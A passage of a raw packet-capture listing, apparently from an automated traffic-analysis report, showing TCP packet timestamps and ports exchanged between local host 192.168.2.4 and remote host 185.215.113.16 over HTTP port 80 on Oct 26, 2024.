Oct 26, 2024 05:54:28.414727926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.414767027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.414803982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.414825916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.458466053 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.487262011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.487293005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.487411022 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.487489939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.487540960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.487591028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.487622976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.487674952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.487708092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.487737894 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.487737894 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.487742901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.487752914 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.487776041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.487809896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.488014936 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.488107920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.488137007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.488177061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.488218069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.488262892 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.488270998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.488302946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.488359928 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.488573074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.488622904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.488657951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.488689899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.488727093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.488761902 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.488761902 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.525372028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.525404930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.525435925 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.525490999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.525518894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.525588036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.567996025 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.575709105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.575737953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.575871944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.575889111 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.575900078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.575953007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.648480892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.648514986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.648550987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.648601055 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.648603916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.648638964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.648690939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.648696899 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.648724079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.648756981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.648772955 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.648813009 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.649071932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.649204016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.649233103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.649300098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.649306059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.649332047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.649353981 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.649367094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.649444103 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.649631023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.649663925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.649697065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.649708986 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.649732113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.649765015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.649797916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.649832010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.649903059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.649903059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.686717033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.686753035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.686785936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.686945915 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.686945915 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.736351013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.736385107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.736484051 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.736923933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.736980915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.737009048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.737045050 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.786741972 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.809762001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.809792995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.809843063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.809880972 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.809894085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.809925079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.809976101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.809994936 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.810009956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.810044050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.810163975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.810163975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.810197115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.810250998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.810286045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.810338020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.810456038 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.810456038 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.810564995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.810616970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.810651064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.810694933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.810698032 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.810728073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.810753107 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.811063051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.811114073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.811146975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.811151028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.811216116 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.847866058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.847924948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.847951889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.848087072 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.896198034 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.898173094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.898227930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.898260117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.898300886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.898363113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.898396015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.898430109 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.898447037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.898511887 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.971854925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.971939087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.971992016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.971996069 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.972028017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.972062111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.972115040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.972142935 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.972146988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.972179890 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.972184896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.972220898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.972227097 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.972254992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.972290993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.972323895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.972361088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.972361088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.972419977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.972454071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.972486973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.972513914 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:28.972799063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.972850084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:28.972856045 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.009494066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.009516954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.009532928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.009572983 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.009572983 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.059658051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.059706926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.059720039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.059746027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.059803009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.059814930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.059838057 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.059838057 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.059854984 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.132611990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.132627010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.132695913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.132863998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.132878065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.132894039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.132916927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.132932901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.132932901 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.132946968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.132987976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.132987976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.133074045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.133152962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.133168936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.133213997 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.133270025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.133285046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.133300066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.133316040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.133338928 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.133338928 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.133435965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.133454084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.133495092 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.133995056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.134098053 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.170346022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.170363903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.170444965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.170459986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.170523882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.170523882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.220824003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.220839977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.220849037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.220865011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.220876932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.220941067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.220953941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.221110106 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.221110106 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.224319935 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.294037104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.294050932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.294107914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.294166088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.294179916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.294194937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.294289112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.294292927 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.294292927 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.294374943 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.294554949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.294688940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.294699907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.294729948 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.294754982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.294770956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.294773102 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.294832945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.294917107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.294975996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.294991970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.295093060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.295095921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.295110941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.295126915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.295162916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.295162916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.295512915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.331870079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.331890106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.331904888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.331918001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.331938028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.331954956 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.380386114 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.382194996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.382210016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.382251024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.382263899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.382272005 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.382307053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.382318974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.382323027 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.382395029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.382407904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.382496119 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.382496119 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.455671072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.455719948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.455734968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.455749989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.455765963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.455892086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.455912113 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.455914974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.455930948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.455945015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.455959082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.456114054 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.456155062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.456227064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.456242085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.456346989 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.456454992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.456495047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.456510067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.456561089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.456561089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.456620932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.456634045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.456990004 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.493232965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.493395090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.493408918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.493532896 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.543586016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.543617964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.543629885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.543719053 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.543761015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.543776989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.543792009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.543828964 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.543931007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.616802931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.616833925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.616913080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.616964102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.616997957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.617048979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.617050886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.617082119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.617130041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.617158890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.617197990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.617214918 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.617214918 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.617214918 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.617228985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.617242098 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.617328882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.617398977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.617402077 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.617463112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.617542982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.617578983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.617629051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.617661953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.617681026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.617681026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.617717981 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:29.618009090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.618037939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:29.618072987 CEST	80	49742	185.215.113.16	192.168.2.4
